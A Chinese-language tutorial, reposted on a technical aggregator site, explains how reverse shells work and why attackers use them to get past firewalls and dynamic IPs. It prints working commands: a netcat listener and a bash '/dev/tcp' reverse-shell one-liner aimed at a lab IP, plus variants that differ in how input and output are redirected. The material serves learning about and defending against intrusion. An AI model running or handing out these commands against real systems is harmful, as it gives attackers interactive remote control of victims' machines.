ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

反弹shell的原理以及应用

2022-05-16 08:04:02  阅读:165  来源: 互联网

标签:shell 6767 192.168 dev 应用 原理 反弹 bash


什么是反弹shell?

反弹shell(reverse shell),指的就是我们的机器监听在某TCP/UDP端口,然后在希望被我们利用的被控机器发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell其实差不多对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

什么时候会用到反弹shell呢?通常我们反弹shell,是因防火墙受限、权限不足或者端口被占用,我们无法直接连接利用,这个时候就应该通过反弹shell来获取命令行。
就想上面说的,其实反弹shell和telnet、ssh本质上都是差不多的,但telnet、ssh我们称之为正向连接,也就是我们有个基本目标,可以ssh 192.168.xx.xx,但有时候目标机器如果是dhcp获取的地址,很可能你的控制就断了,这个时候反弹shell的作用就很大了。

有以下情况可以利用反弹shell很好地代替ssh、telnet等正向连接:

1.某台机中了你的网马,但是它在局域网内,局域网有统一的出口地址,这种情况下你是无法直接连接的。
2.目标机器的ip动态改变,你无法持续获取主机权限。
3.由于防火墙等安全设备的限制,被控机器只能发送请求,不能接收请求。
4.对被控机器的环境不了解,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,这样一来就不用担心了。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹shell的应用

首先我们利用攻击端监听接口信息,假设我们监听6767端口
nc -lvp 6767

可以看到我们的攻击端已经获取到shell,可以执行命令了

实验原理解释

1. nc -lvp 6767

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

2. bash -i

-i interactive。即产生一个交互式的shell(bash)

3. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

原理解释

所以实际上反弹shell命令bash -i >& /dev/tcp/192.168.75.150/6767 0>&1是由多条命令构成的,也可以根据把这条命令重组,拆成以下几种情况:

1、bash -i > /dev/tcp/192.168.75.150/6767
这种情况下,可以将受害端的标准输出重定向到攻击端,但是是无法在供给端用命令控制受害端
2、bash -i < /dev/tcp/192.168.75.150/6767
这种情况下,可以将攻击端的输入重定向到受害端,但是我们攻击端看不到命令执行结果。
3、bash -i > /dev/tcp/192.168.75.150/6767 0>&1
这种情况下,基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击端机器上执行的命令,且攻击端看不到错误命令的输出。
4、bash -i > /dev/tcp/192.168.75.150/6767 0>&1 2>&1
这种情况下,攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令。

标签:shell,6767,192.168,dev,应用,原理,反弹,bash
来源: https://www.cnblogs.com/NoCirc1e/p/16275580.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有